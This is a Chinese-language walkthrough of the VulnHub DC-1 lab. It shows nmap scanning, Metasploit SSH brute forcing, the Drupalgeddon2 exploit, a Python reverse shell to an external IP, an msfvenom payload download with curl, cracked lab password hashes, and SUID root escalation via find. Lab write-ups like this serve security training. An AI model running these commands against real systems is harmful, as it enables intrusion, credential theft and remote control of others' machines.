准备阶段
下载地址
Download: http://www.five86.com/downloads/DC-1.zip
Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
设置网络
将网络模式设置为桥接模式
信息收集
端口扫描nmap
首先查看本机IP,位于5段
进行常规扫描,找到靶场IP地址
nmap -sn 192.168.5.1/24
-sn:禁用端口扫描
扫描后得知靶机IP为192.168.5.69
接下来进行端口扫描
nmap -sT -sV -O 192.168.5.69
目录扫描dirsearch
并未发现有用的信息,图片只展示一部分
python37 dirsearch.py -u http://192.168.5.69/ -x 404
-x:排除404状态码页面
指纹识别dismap
dismap-0.4-windows-amd64.exe -u http://192.168.5.69/
收集汇总
对收集到的信息进行汇总
- 靶机系统为Bebian的Linux
- 发现三个开放端口,分别为22,80,111
- 22端口,ssh连接,可进行ssh爆破
- 80端口,使用了Apache服务,PHP搭建的网站,用的是Drupal开源内容管理系统系统
渗透过程
ssh爆破
使用Metasploit进行ssh爆破
选择模块
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
Required中的yes表示为必须填写的参数
进行参数设置
- set rhosts 192.168.5.69
设置靶场的IP
- set username root
设置爆破的用户名
- set pass_file C:/Users/15986/Desktop/pass.txt
设置爆破的密码字典路径
- set threads 16
设置线程为16
- run或者exploit
启动
爆破结果
爆破结果:爆破失败,并没有爆破出密码
Drupal框架漏洞
ssh爆破失败,试试别的方法
首先进入web网站,发现为Drupal管理系统
Drupal介绍
- Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和 PHP 开发框架共同构成
- 是一个自由开源内容管理系统
查找Drupal版本
首先在网站界面右键-->检查
选择网络,然后刷新网站
左边名称选择最上面的,点击标头,查看响应标头-->X-Generator,发现版本为Drupal7
Metasploit查找相应攻击模块
search Drupal
进行参数设置
这里我们使用日期为2018-03-28的这个,相对来说比较新
use exploit/unix/webapp/drupal_drupalgeddon2
先查看模块参数,再进行设置
- set rhosts 192.168.5.69
设置靶机IP
- run或者exploit
设置完成后运行
当出现Meterpreter session 1并且对话为meterpreter时,表示攻击成功
获取shell
首先要获取shell,输入shell,并拿到shell
执行常用的几个命令:ls,pwd,whoami
ls
pwd
whoami
反弹交互式shell
使用Python进行shell连接,会比较好
首先使用命令获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在另一台机器上面开启监听(我的是公网服务器)
nc -lvnp 7895
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.99.162.137",7895));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
成功连接
查找flag
查看当前目录下的flag1.txt文件
cat flag1.txt
翻译:每个好的CMS都需要一个配置文件 - 你也一样
find / -name flag*
看来并未发现其他flag文件
根据这个flag1的提示,找找Drupal的配置文件
搜索了一下
cd /sites/default/
报错了,那就使用别的方式查看文件
cat `find / -name settings.php`
图片只展示一部分
发现flag2,还有下面的数据库信息
数据库
通过flag2给的账号密码进入数据库看看
mysql -udbuser -pR0ck3t
show databases;
颠了!颠了!!颠了!!!卡着不动了
我们回到Metasploit,获取交互式shell,然后查看
use drupaldb;
show tables;
让我们来看看user表里面的内容
至于为什么一进来就看着个表,是因为我只看得懂这个表了。。。。。。
select * from users;
发现用户信息
拿去MD5解密
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR = 53cr3t
$S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg = MyPassword
admin;53cr3t
Fred;MyPassword
用得到的账号密码登录网站
两个账号密码登录进来都是这样,总感觉少了点什么
Linux提权
Metasploit提权
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.5.31 LPORT=5566 -f elf -o reverse.elf
并在reverse.elf的目录中开启http服务
Python37 -m http.server
切换到tmp目录下,下载木马文件并给执行权限(靶机shell)
chmod +x reverse.elf
curl -O http://192.168.5.31:8000/reverse.elf
接下来使用MSF监听
- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set lhost 192.168.5.31
- set lport 5566
- run
然后就不出意外的出意外了,翻译:不能执行二进制文件
然后就没有头绪了
SUID提权
网上到处逛了逛,发现SUID提权
查找SUID权限可执行的二进制文件
find / -perm -u=s -type f 2>/dev/null
其中find文件比较常见,可以执行root权限命令查找文件
find / -name index.php -exec "/bin/sh" \;
提权成功了,找找flag文件
找到一个flag4,.txt,看看内容
root用户一般在/root下面,cd进去看看
果然,发现一个flag文件,查看
哦豁!!!结束了,哈哈
总结
- 查找IP地址
- 信息收集
- ssh爆破
- 框架漏洞利用
- SUID提权